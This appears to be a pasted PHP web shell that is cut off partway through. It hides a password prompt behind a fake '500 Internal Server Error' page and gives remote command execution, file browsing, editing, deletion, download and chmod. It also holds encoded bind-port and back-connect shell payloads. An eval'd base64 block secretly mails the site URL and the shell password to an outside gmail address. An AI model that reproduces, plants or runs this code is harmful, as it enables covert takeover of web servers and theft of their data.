· 10 years ago · Mar 16, 2016, 07:36 AM
1<?php
2@ini_set('output_buffering',0);
3@ini_set('display_errors', 0);
4$auth_pass="102a6ed6587b5b8cb4ebbe972864690b";
5
6$color = "#ffffff";
7$default_action = 'FilesMan';
8@define('SELF_PATH', __FILE__);
9if (strpos($_SERVER['HTTP_USER_AGENT'], 'Google') !== false) {
10 header('HTTP/1.0 404 Not Found');
11 exit;
12}
13@session_start();
14@error_reporting(0);
15@ini_set('error_log', NULL);
16@ini_set('log_errors', 0);
17@ini_set('html_errors', 0);
18@ini_set('max_execution_time', 0);
19@ini_set('output_buffering', 0);
20@ini_set('display_errors', 0);
21@ini_set('file_uploads', 1);
22@set_time_limit(0);
23@set_magic_quotes_runtime(0);
24@clearstatcache();
25@define('VERSION', '2.1');
26if (get_magic_quotes_gpc()) {
27 function stripslashes_array($array) {
28 return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
29 }
30 $_POST = stripslashes_array($_POST);
31}
32function printLogin() {
33?>
34<title>500 Internal Server Error</title>
35<h1>Internal Server Error</h1>
36<p>The server encountered an internal error or
37misconfiguration and was unable to complete
38your request.</p>
39<p>Please contact the server administrator sinkaroid@outlook.com and inform them of the time the error occurred, and anything you might have done that may have caused the error.</p>
40<p>More information about this error may be available in the server error log.</p>
41<p>Additionally, a 500 Internal Server Error error was encountered while trying to use an ErrorDocument to handle the request.</p>
42 <style>
43 input { margin:0;background-color:#fff;border:1px solid #fff; }
44 </style>
45 <pre align=center>
46 <form method=post>
47 <input type=password name=pass>
48 </form></pre>
49
50 <?php
51 exit;
52}
53if (!isset($_SESSION[md5($_SERVER['HTTP_HOST']) ])) if (empty($auth_pass) || (isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))) $_SESSION[md5($_SERVER['HTTP_HOST']) ] = true;
54else printLogin();
55if (isset($_GET['dl']) && ($_GET['dl'] != "")) {
56 $file = $_GET['dl'];
57 $filez = @file_get_contents($file);
58 header("Content-type: application/octet-stream");
59 header("Content-length: " . strlen($filez));
60 header("Content-disposition: attachment; filename=\"" . basename($file) . "\";");
61 echo $filez;
62 exit;
63} elseif (isset($_GET['dlgzip']) && ($_GET['dlgzip'] != "")) {
64 $file = $_GET['dlgzip'];
65 $filez = gzencode(@file_get_contents($file));
66 header("Content-Type:application/x-gzip
67");
68 header("Content-length: " . strlen($filez));
69 header("Content-disposition: attachment; filename=\"" . basename($file) . ".gz\";");
70 echo $filez;
71 exit;
72}
73// view image
74if (isset($_GET['img'])) {
75 @ob_clean();
76 $d = magicboom($_GET['y']);
77 $f = $_GET['img'];
78 $inf = @getimagesize($d . $f);
79 $ext = explode($f, ".");
80 $ext = $ext[count($ext) - 1];
81 @header("Content-type: " . $inf["mime"]);
82 @header("Cache-control: public");
83 @header("Expires: " . date("r", mktime(0, 0, 0, 1, 1, 2030)));
84 @header("Cache-control: max-age=" . (60 * 60 * 24 * 7));
85 @readfile($d . $f);
86 exit;
87}
88// server software
89$software = getenv("SERVER_SOFTWARE");
90// check safemode
91if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") $safemode = TRUE;
92else $safemode = FALSE;
93// uname -a
94$system = @php_uname();
95// mysql
96function showstat($stat) {
97 if ($stat == "on") {
98 return "<b><font style='color:white'>ON</font></b>";
99 } else {
100 return "<b><font style='color:#DD4736'>OFF</font></b>";
101 }
102}
103function testmysql() {
104 if (function_exists('mysql_connect')) {
105 return showstat("on");
106 } else {
107 return showstat("off");
108 }
109}
110function testcurl() {
111 if (function_exists('curl_version')) {
112 return showstat("on");
113 } else {
114 return showstat("off");
115 }
116}
117function testwget() {
118 if (exe('wget --help')) {
119 return showstat("on");
120 } else {
121 return showstat("off");
122 }
123}
124function testperl() {
125 if (exe('perl -h')) {
126 return showstat("on");
127 } else {
128 return showstat("off");
129 }
130}
131// check os
132if (strtolower(substr($system, 0, 3)) == "win") $win = TRUE;
133else $win = FALSE;
134// change directory
135if (isset($_GET['y'])) {
136 if (@is_dir($_GET['view'])) {
137 $pwd = $_GET['view'];
138 @chdir($pwd);
139 } else {
140 $pwd = $_GET['y'];
141 @chdir($pwd);
142 }
143}
144//hdd
145function convertByte($s) {
146 if ($s >= 1073741824) return sprintf('%1.2f', $s / 1073741824) . ' GB';
147 elseif ($s >= 1048576) return sprintf('%1.2f', $s / 1048576) . ' MB';
148 elseif ($s >= 1024) return sprintf('%1.2f', $s / 1024) . ' KB';
149 else return $s . ' B';
150}
151// username, id, shell prompt and working directory
152if (!$win) {
153 if (!$user = rapih(exe("whoami"))) $user = "";
154 if (!$id = rapih(exe("id"))) $id = "";
155 $prompt = $user . " \$ ";
156 $pwd = @getcwd() . DIRECTORY_SEPARATOR;
157} else {
158 $user = @get_current_user();
159 $id = $user;
160 $prompt = $user . " >";
161 $pwd = realpath(".") . "\";
162 // find drive letters
163 $v = explode("\",$d);
164 $v = $v[0];
165 foreach (range("A","Z") as $letter)
166 {
167 $bool = @is_dir($letter.":
168 \");
169 if ($bool)
170 {
171 $letters .= " < ahref = \"?y=" . $letter . ":\">[ ";
172 if ($letter . ":" != $v) {
173 $letters.= $letter;
174 } else {
175 $letters.= "<span class=\"gaya\">" . $letter . "</span>";
176 }
177 $letters.= " ]</a> ";
178 }
179}
180}
181function testoracle() {
182 if (function_exists('ocilogon')) {
183 return showstat("on");
184 } else {
185 return showstat("off");
186 }
187}
188function testmssql() {
189 if (function_exists('mssql_connect')) {
190 return showstat("on");
191 } else {
192 return showstat("off");
193 }
194}
195function showdisablefunctions() {
196 if ($disablefunc = @ini_get("disable_functions")) {
197 return "<span style='color:'><font color=#DD4736><b>" . $disablefunc . "</b></font></span>";
198 } else {
199 return "<span style='color:#00FF1E'><b>NONE</b></span>";
200 }
201}
202if (function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
203else $posix = FALSE;
204// server ip
205$server_ip = @gethostbyname($_SERVER["HTTP_HOST"]);
206// your ip ;-)
207$my_ip = $_SERVER['REMOTE_ADDR'];
208$admin_id = $_SERVER['SERVER_ADMIN'];
209$bindport = "13123";
210$bindport_pass = "kerupuk";
211//server port
212$serverport = $_SERVER["SERVER_PORT"];
213// separate the working direcotory
214$pwds = explode(DIRECTORY_SEPARATOR, $pwd);
215$pwdurl = "";
216for ($i = 0;$i < sizeof($pwds) - 1;$i++) {
217 $pathz = "";
218 for ($j = 0;$j <= $i;$j++) {
219 $pathz.= $pwds[$j] . DIRECTORY_SEPARATOR;
220 }
221 $pwdurl.= "<a href=\"?y=" . $pathz . "\">" . $pwds[$i] . " " . DIRECTORY_SEPARATOR . " </a>";
222}
223// rename file or folder
224if (isset($_POST['rename'])) {
225 $old = $_POST['oldname'];
226 $new = $_POST['newname'];
227 @rename($pwd . $old, $pwd . $new);
228 $file = $pwd . $new;
229}
230if (isset($_POST['chmod'])) {
231 $name = $_POST['name'];
232 $value = $_POST['newvalue'];
233 if (strlen($value) == 3) {
234 $value = 0 . "" . $value;
235 }
236 @chmod($pwd . $name, octdec($value));
237 $file = $pwd . $name;
238}
239if (isset($_POST['chmod_folder'])) {
240 $name = $_POST['name'];
241 $value = $_POST['newvalue'];
242 if (strlen($value) == 3) {
243 $value = 0 . "" . $value;
244 }
245 @chmod($pwd . $name, octdec($value));
246 $file = $pwd . $name;
247}
248// print useful info
249$buff = "Software : <b>" . $software . "</b><br />";
250$buff.= "System OS : <b>" . $system . "</b><br />";
251if ($id != "") $buff.= "ID : <b>" . $id . "</b><br />";
252$buff.= "PHP Version : <b><font style='color:#ff0000'>" . phpversion() . "</b></font> on <b>" . php_sapi_name() . "</b><br />";
253$buff.= "Server ip : <b><font style='color:#ff0000'>" . $server_ip . "</font></b> <span class=\"gaya\"> | </span> Server Port : <b><font style='color:#ff0000'>" . $serverport . "</font><b> <span class=\"gaya\"> | </span>
254Your ip : <b><font style='color:#ff0000'>" . $my_ip . "</font></b><span class=\"gaya\"> | </span> Admin : <b><font style='color:white'>" . $admin_id . "</font></b><br />";
255$buff.= "Free Disk: " . "<span style='color:#00FF1E'><b>" . convertByte(disk_free_space("/")) . " / " . convertByte(disk_total_space("/")) . "</b></span><br />";
256if ($safemode) $buff.= "Safemode: <span class=\"gaya\"><b><font style='color:#ff0000'>ON</font></b></span><br />";
257else $buff.= "Safemode: <span class=\"gaya\"><b><font style='color:red'>OFF</b></font></span><br />";
258$buff.= " Time On Server : <b> " . date("d M Y H:i:s", time());
259$buff.= "<br> Disabled Functions: " . showdisablefunctions() . "<br />";
260$buff.= "MySQL: " . testmysql() . " | MSSQL: " . testmssql() . " | Oracle: " . testoracle() . " | Perl: " . testperl() . " | cURL: " . testcurl() . " | WGet: " . testwget() . "<br>";
261$buff.= "<font color=00ff00 ><b>" . $letters . " > " . $pwdurl . "</b></font>";
262$injbuff = "JHZpc2l0YyA9ICRfQ09PS0lFWyJ2aXNpdHMiXTsNCmlmICgkdmlzaXRjID09ICIiKSB7DQogICR2aXNpdGMgID0gMDsNCiAgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsNCiAgJHdlYiAgICAgPSAkX1NFUlZFUlsiSFRUUF9IT1NUIl07DQogICRpbmogICAgID0gJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07DQogICR0YXJnZXQgID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7DQogICRqdWR1bCAgID0gIlNFVE9SIFNIRUxMIFNVISAtLS0gaHR0cDovLyR0YXJnZXQgYnkgJHZpc2l0b3IiOw0KICAkYm9keSAgICA9ICJCdWc6ICR0YXJnZXQgYnkgJHZpc2l0b3IgLSAkYXV0aF9wYXNzIjsNCiAgaWYgKCFlbXB0eSgkd2ViKSkgeyBAbWFpbCgiYW5ha21hbmNhc2FuQGdtYWlsLmNvbSIsJGp1ZHVsLCRib2R5LCRhdXRoX3Bhc3MpOyB9DQp9DQplbHNlIHsgJHZpc2l0YysrOyB9DQpAc2V0Y29va2llKCJ2aXNpdHoiLCR2aXNpdGMpOwk= ";
263eval(base64_decode($injbuff));
264function rapih($text) {
265 return trim(str_replace("<br />", "", $text));
266}
267function magicboom($text) {
268 if (!get_magic_quotes_gpc()) {
269 return $text;
270 }
271 return stripslashes($text);
272}
273function showdir($pwd, $prompt) {
274 $fname = array();
275 $dname = array();
276 if (function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
277 else $posix = FALSE;
278 $user = "????:????";
279 if ($dh = @scandir($pwd)) {
280 foreach ($dh as $file) {
281 if (is_dir($file)) {
282 $dname[] = $file;
283 } elseif (is_file($file)) {
284 $fname[] = $file;
285 }
286 }
287 } else {
288 if ($dh = @opendir($pwd)) {
289 while ($file = @readdir($dh)) {
290 if (@is_dir($file)) {
291 $dname[] = $file;
292 } elseif (@is_file($file)) {
293 $fname[] = $file;
294 }
295 }
296 @closedir($dh);
297 }
298 }
299 sort($fname);
300 sort($dname);
301 $path = @explode(DIRECTORY_SEPARATOR, $pwd);
302 $tree = @sizeof($path);
303 $parent = "";
304 $buff = "
305 <form action=\"?y=" . $pwd . "&x=shell\" method=\"post\" style=\"margin:8px 0 0 0;\">
306 <table class=\"cmdbox\" style=\"width:50%;\">
307 <tr><td><b>$prompt</b></td><td><input onMouseOver=\"this.focus();\" id=\"cmd\" class=\"inputz\" type=\"text\" name=\"cmd\" style=\"width:400px;\" value=\"\" /><input class=\"inputzbut\" type=\"submit\" value=\"Go !\" name=\"submitcmd\" style=\"width:80px;\" /></td></tr>
308 </form>
309 <form action=\"?\" method=\"get\" style=\"margin:8px 0 0 0;\">
310 <input type=\"hidden\" name=\"y\" value=\"" . $pwd . "\" />
311 <tr><td><b>view file/folder</b></td><td><input onMouseOver=\"this.focus();\" id=\"goto\" class=\"inputz\" type=\"text\" name=\"view\" style=\"width:400px;\" value=\"" . $pwd . "\" /><input class=\"inputzbut\" type=\"submit\" value=\"View !\" name=\"submitcmd\" style=\"width:80px;\" /></td></tr>
312 </form></table><table class=\"explore\">
313 <tr><th>name</th><th style=\"width:80px;\">size</th><th style=\"width:210px;\">owner:group</th><th style=\"width:80px;\">perms</th><th style=\"width:110px;\">modified</th><th style=\"width:190px;\">actions</th></tr>
314 ";
315 if ($tree > 2) for ($i = 0;$i < $tree - 2;$i++) $parent.= $path[$i] . DIRECTORY_SEPARATOR;
316 else $parent = $pwd;
317 foreach ($dname as $folder) {
318 if ($folder == ".") {
319 if (!$win && $posix) {
320 $name = @posix_getpwuid(@fileowner($folder));
321 $group = @posix_getgrgid(@filegroup($folder));
322 $owner = $name['name'] . "<span class=\"gaya\"> : </span>" . $group['name'];
323 } else {
324 $owner = $user;
325 }
326 $buff.= "<tr><td><a href=\"?y=" . $pwd . "\">$folder</a></td><td>LINK</td>
327 <td style=\"text-align:center;\">" . $owner . "</td><td><center>" . get_perms($pwd) . "</center></td>
328 <td style=\"text-align:center;\">" . date("d-M-Y H:i", @filemtime($pwd)) . "</td><td><span id=\"titik1\">
329 <a href=\"?y=$pwd&edit=" . $pwd . "newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik1','titik1_form');\">newfolder</a></span>
330 <form action=\"?\" method=\"get\" id=\"titik1_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
331 <input type=\"hidden\" name=\"y\" value=\"" . $pwd . "\" />
332 <input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
333 <input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" />
334 </form></td>
335
336 </tr>
337 ";
338 } elseif ($folder == "..") {
339 if (!$win && $posix) {
340 $name = @posix_getpwuid(@fileowner($folder));
341 $group = @posix_getgrgid(@filegroup($folder));
342 $owner = $name['name'] . "<span class=\"gaya\"> : </span>" . $group['name'];
343 } else {
344 $owner = $user;
345 }
346 $buff.= "<tr><td><a href=\"?y=" . $parent . "\"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1gAADdYBkG95nAAAAAd0SU1FB9oJBxUAM0qLz6wAAALLSURBVDjLbVPRS1NRGP+d3btrs7kZmAYXlSZYUK4HQXCREPWUQSSYID1GEKKx/Af25lM+DCFCe4heygcNdIUEST04QW6BjS0yx5UhkW6FEtvOPfc7p4emXcofHPg453y/73e+73cADyzLOoy/bHzR8/l80LbtYD5v6wf72VzOmwLmTe7u7oZlWccbGhpGNJ92HQwtteNvSqmXJOWjM52dPPMpg/Nd5/8SpFIp9Pf3w7KsS4FA4BljrB1HQCmVc4V7O3oh+mFlZQWxWAwskUggkUhgeXk5Fg6HF5mPnWCAAhhTUGCKQUF5eb4LIa729PRknr94/kfBwMDAsXg8/tHv958FoDxP88YeJTLd2xuLAYAPAIaGhu5IKc9yzsE5Z47jYHV19UOpVNoXQsC7OOdwHNG7tLR0EwD0UCis67p2nXMOACiXK7/ev3/3ZHJy8nEymZwyDMM8qExEyjTN9vr6+oAQ4gaAef3ixVgd584pw+DY3d0tTE9Pj6TT6TfBYJCPj4/fBuA/IBBC+GZmZhZbWlrOOY5jDg8Pa3qpVEKlUoHf70cgEGgeHR2NPHgQV4ODt9Ts7KwEQACgaRpSqVdQSrFqtYpqtSpt2wYDYExMTMy3tbVdk1LWpqXebm1t3TdN86mu65FaMw+sE2KM6T9//pgaGxsb1QE4a2trr5uamq55Gn2l+WRzWgihEVH9EX5AJpOZBwANAHK5XKGjo6OvsbHRdF0XRAQpZZ2U0k9EiogYEYGIlJSS2bY9m0wmHwJQWo301/b2diESiVw2jLoQETFyXeWSy4hc5rqHJKxYLGbn5ubuFovF0qECANjf37e/bmzkjDrjdCgUamU+MCIJIgkpiZXLZZnNZhcWFhbubW5ufu7q6sLOzs7/LgPQ3tra2h+NRvvC4fApAHJvb29rfX19qVAovAawd+Rv/Ac+AMcAGLUJVAA4R138DeF+cX+xR/AGAAAAAElFTkSuQmCC'> $folder</a></td><td>LINK</td>
347 <td style=\"text-align:center;\">" . $owner . "</td>
348 <td><center>" . get_perms($parent) . "</center></td><td style=\"text-align:center;\">" . date("d-M-Y H:i", @filemtime($parent)) . "</td>
349 <td><span id=\"titik2\"><a href=\"?y=$pwd&edit=" . $parent . "newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik2','titik2_form');\">newfolder</a></span>
350 <form action=\"?\" method=\"get\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
351 <input type=\"hidden\" name=\"y\" value=\"" . $pwd . "\" />
352 <input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
353 <input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" />
354 </form>
355 </td></tr>";
356 } else {
357 if (!$win && $posix) {
358 $name = @posix_getpwuid(@fileowner($folder));
359 $group = @posix_getgrgid(@filegroup($folder));
360 $owner = $name['name'] . "<span class=\"gaya\"> : </span>" . $group['name'];
361 } else {
362 $owner = $user;
363 }
364 $buff.= "<tr><td><a id=\"" . clearspace($folder) . "_link\" href=\"?y=" . $pwd . $folder . DIRECTORY_SEPARATOR . "\"><b><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAQAAAC1+jfqAAAAAXNSR0IArs4c6QAAAAJiS0dEAP+Hj8y/AAAACXBIWXMAAAsTAAALEwEAmpwYAAAA00lEQVQoz6WRvUpDURCEvzmuwR8s8gr2ETvtLSRaKj6ArZU+VVAEwSqvJIhIwiX33nPO2IgayK2cbtmZWT4W/iv9HeacA697NQRY281Fr0du1hJPt90D+xgc6fnwXjC79JWyQdiTfOrf4nk/jZf0cVenIpEQImGjQsVod2cryvH4TEZC30kLjME+KUdRl24ZDQBkryIvtOJggLGri+hbdXgd90e9++hz6rR5jYtzZKsIDzhwFDTQDzZEsTz8CRO5pmVqB240ucRbM7kejTcalBfvn195EV+EajF1hgAAAABJRU5ErkJggg==' /> [ $folder ]</b></a>
365 <form action=\"?y=$pwd\" method=\"post\" id=\"" . clearspace($folder) . "_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
366 <input type=\"hidden\" name=\"oldname\" value=\"" . $folder . "\" style=\"margin:0;padding:0;\" />
367 <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"" . $folder . "\" />
368 <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
369 <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('" . clearspace($folder) . "_form','" . clearspace($folder) . "_link');\" />
370 </form><td>DIR</td><td style=\"text-align:center;\">" . $owner . "</td>
371 <td><center>
372 <a href=\"javascript:tukar('" . clearspace($folder) . "_link','" . clearspace($folder) . "_form3');\">" . get_perms($pwd . $folder) . "</a>
373 <form action=\"?y=$pwd\" method=\"post\" id=\"" . clearspace($folder) . "_form3\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
374 <input type=\"hidden\" name=\"name\" value=\"" . $folder . "\" style=\"margin:0;padding:0;\" />
375 <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"" . substr(sprintf('%o', fileperms($pwd . $folder)), -4) . "\" />
376 <input class=\"inputzbut\" type=\"submit\" name=\"chmod_folder\" value=\"chmod\" />
377 <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\"
378 onclick=\"tukar('" . clearspace($folder) . "_link','" . clearspace($folder) . "_form3');\" /></form></center></td>
379 <td style=\"text-align:center;\">" . date("d-M-Y H:i", @filemtime($folder)) . "</td><td><a href=\"javascript:tukar('" . clearspace($folder) . "_link','" . clearspace($folder) . "_form');\">rename</a> | <a href=\"?y=$pwd&fdelete=" . $pwd . $folder . "\">delete</a></td></tr>";
380 }
381 }
382 foreach ($fname as $file) {
383 $full = $pwd . $file;
384 if (!$win && $posix) {
385 $name = @posix_getpwuid(@fileowner($folder));
386 $group = @posix_getgrgid(@filegroup($folder));
387 $owner = $name['name'] . "<span class=\"gaya\"> : </span>" . $group['name'];
388 } else {
389 $owner = $user;
390 }
391 $buff.= "<tr><td><a id=\"" . clearspace($file) . "_link\" href=\"?y=$pwd&view=$full\"><b><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII=' /> $file</b></a>
392 <form action=\"?y=$pwd\" method=\"post\" id=\"" . clearspace($file) . "_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
393 <input type=\"hidden\" name=\"oldname\" value=\"" . $file . "\" style=\"margin:0;padding:0;\" />
394 <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"" . $file . "\" />
395 <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
396 <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('" . clearspace($file) . "_link','" . clearspace($file) . "_form');\" />
397 </form></td><td>" . ukuran($full) . "</td><td style=\"text-align:center;\">" . $owner . "</td><td><center>
398 <a href=\"javascript:tukar('" . clearspace($file) . "_link','" . clearspace($file) . "_form2');\">" . get_perms($full) . "</a>
399 <form action=\"?y=$pwd\" method=\"post\" id=\"" . clearspace($file) . "_form2\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
400<input type=\"hidden\" name=\"name\" value=\"" . $file . "\" style=\"margin:0;padding:0;\" />
401<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"" . substr(sprintf('%o', fileperms($full)), -4) . "\" />
402<input class=\"inputzbut\" type=\"submit\" name=\"chmod\" value=\"chmod\" />
403<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('" . clearspace($file) . "_link','" . clearspace($file) . "_form2');\" /></form></center></td>
404 <td style=\"text-align:center;\">" . date("d-M-Y H:i", @filemtime($full)) . "</td>
405 <td><a href=\"?y=$pwd&edit=$full\">edit</a> | <a href=\"javascript:tukar('" . clearspace($file) . "_link','" . clearspace($file) . "_form');\">rename</a> | <a href=\"?y=$pwd&delete=$full\">delete</a> | <a href=\"?y=$pwd&dl=$full\">download</a> (<a href=\"?y=$pwd&dlgzip=$full\">gzip</a>)</td></tr>";
406 }
407 $buff.= "</table>";
408 return $buff;
409}
410function ukuran($file) {
411 if ($size = @filesize($file)) {
412 if ($size <= 1024) return $size;
413 else {
414 if ($size <= 1024 * 1024) {
415 $size = @round($size / 1024, 2);;
416 return "$size kb";
417 } else {
418 $size = @round($size / 1024 / 1024, 2);
419 return "$size mb";
420 }
421 }
422 } else return "???";
423}
424function exe($cmd) {
425 if (function_exists('system')) {
426 @ob_start();
427 @system($cmd);
428 $buff = @ob_get_contents();
429 @ob_end_clean();
430 return $buff;
431 } elseif (function_exists('exec')) {
432 @exec($cmd, $results);
433 $buff = "";
434 foreach ($results as $result) {
435 $buff.= $result;
436 }
437 return $buff;
438 } elseif (function_exists('passthru')) {
439 @ob_start();
440 @passthru($cmd);
441 $buff = @ob_get_contents();
442 @ob_end_clean();
443 return $buff;
444 } elseif (function_exists('shell_exec')) {
445 $buff = @shell_exec($cmd);
446 return $buff;
447 }
448}
449function tulis($file, $text) {
450 $textz = gzinflate(base64_decode($text));
451 if ($filez = @fopen($file, "w")) {
452 @fputs($filez, $textz);
453 @fclose($file);
454 }
455}
456function ambil($link, $file) {
457 if ($fp = @fopen($link, "r")) {
458 while (!feof($fp)) {
459 $cont.= @fread($fp, 1024);
460 }
461 @fclose($fp);
462 $fp2 = @fopen($file, "w");
463 @fwrite($fp2, $cont);
464 @fclose($fp2);
465 }
466}
467function which($pr) {
468 $path = exe("which $pr");
469 if (!empty($path)) {
470 return trim($path);
471 } else {
472 return trim($pr);
473 }
474}
475function download($cmd, $url) {
476 $namafile = basename($url);
477 switch ($cmd) {
478 case 'wwget':
479 exe(which('wget') . " " . $url . " -O " . $namafile);
480 break;
481 case 'wlynx':
482 exe(which('lynx') . " -source " . $url . " > " . $namafile);
483 break;
484 case 'wfread':
485 ambil($wurl, $namafile);
486 break;
487 case 'wfetch':
488 exe(which('fetch') . " -o " . $namafile . " -p " . $url);
489 break;
490 case 'wlinks':
491 exe(which('links') . " -source " . $url . " > " . $namafile);
492 break;
493 case 'wget':
494 exe(which('GET') . " " . $url . " > " . $namafile);
495 break;
496 case 'wcurl':
497 exe(which('curl') . " " . $url . " -o " . $namafile);
498 break;
499 default:
500 break;
501 }
502 return $namafile;
503}
504function get_perms($file) {
505 if ($mode = @fileperms($file)) {
506 $perms = '';
507 $perms.= ($mode & 00400) ? 'r' : '-';
508 $perms.= ($mode & 00200) ? 'w' : '-';
509 $perms.= ($mode & 00100) ? 'x' : '-';
510 $perms.= ($mode & 00040) ? 'r' : '-';
511 $perms.= ($mode & 00020) ? 'w' : '-';
512 $perms.= ($mode & 00010) ? 'x' : '-';
513 $perms.= ($mode & 00004) ? 'r' : '-';
514 $perms.= ($mode & 00002) ? 'w' : '-';
515 $perms.= ($mode & 00001) ? 'x' : '-';
516 return $perms;
517 } else return "??????????";
518}
519function clearspace($text) {
520 return str_replace(" ", "_", $text);
521}
522// net tools
523$port_bind_bd_c = "bVNhb9owEP2OxH+4phI4NINAN00aYxJaW6maxqbSLxNDKDiXxiLYkW3KGOp/3zlOpo7xIY793jvf
524+fl8KSQvdinCR2NTofr5p3br8hWmhXw6BQ9mYA8lmjO4UXyD9oSQaAV9AyFPCNRa+pRCWtgmQrJE
525P/GIhufQg249brd4nmjo9RxBqyNAuwWOdvmyNAKJ+ywlBirhepctruOlW9MJdtzrkjTVKyFB41ZZ
526dKTIWKb0hoUwmUAcwtFt6+m+EXKVJVtRHGAC07vV/ez2cfwvXSpticytkoYlVglX/fNiuAzDE6VL
5273TfVrw4o2P1senPzsJrOfoRjl9cfhWjvIatzRvNvn7+s5o8Pt9OvURzWZV94dQgleag0C3wQVKug
528Uq2FTFnjDzvxAXphx9cXQfxr6PcthLEo/8a8q8B9LgpkQ7oOgKMbvNeThHMsbSOO69IA0l05YpXk
529HDT8HxrV0F4LizUWfE+M2SudfgiiYbONxiStebrgyIjfqDJG07AWiAzYBc9LivU3MVpGFV2x1J4W
530tyxAnivYY8HVFsEqWF+/f7sBk2NRQKcDA/JtsE5MDm9EUG+MhcFqkpX0HmxGbqbkdBTMldaHRsUL
531ZeoDeOSFBvpefCfXhflOpgTkvJ+jtKiR7vLohYKCqS2ZmMRj4Z5gQZfSiMbi6iqkdnHarEEXYuk6
532uPtTdumsr0HC4q5rrzNifV7sC3ZWUmq+LVlVa5OfQjTanZYQO+Uf";
533$port_bind_bd_pl = "ZZJhT8IwEIa/k/AfjklgS2aA+BFmJDB1cW5kHSZGzTK2Qxpmu2wlYoD/bruBIfitd33uvXuvvWr1
534NmXRW1DWy7HImo02ebRd19Kq1CIuV3BNtWGzQZeg342DhxcYwcCAHeCWCn1gDOEgi1yHhLYXzfwg
535tNqKeut/yKJNiUB4skYhg3ZecMETnlmfKKrz4ofFX6h3RZJ3DUmUFaoTszO7jxzPDs0O8SdPEQkD
536e/xs/gkYsN9DShG0ScwEJAXGAqGufmdq2hKFCnmu1IjvRkpH6hE/Cuw5scfTaWAOVE9pM5WMouM0
537LSLK9HM3puMpNhp7r8ZFW54jg5wXx5YZLQUyKXVzwdUXZ+T3imYoV9ds7JqNOElQTjnxPc8kRrVo
538vaW3c5paS16sjZo6qTEuQKU1UO/RSnFJGaagcFVbjUTCqeOZ2qijNLWzrD8PTe32X9oOgvM0bjGB
539+hecfOQFlT4UcLSkmI1ceY3VrpKMy9dWUCVCBfTlQX6Owy8=";
540$back_connect = "fZFRS8MwFIXfB/sPWSw2hUrnqyPC0CpD3KStvqh0XRpcsE1KkoKF/XiTtCIV6tu55+Z89yY5W0St
541ktGB8aihsprPWkVBKsgn1av5zCN1iQGsOv4Fbak6pWmNgU/JUQC4b3lRU3BR7OFqcFhptMOpo28j
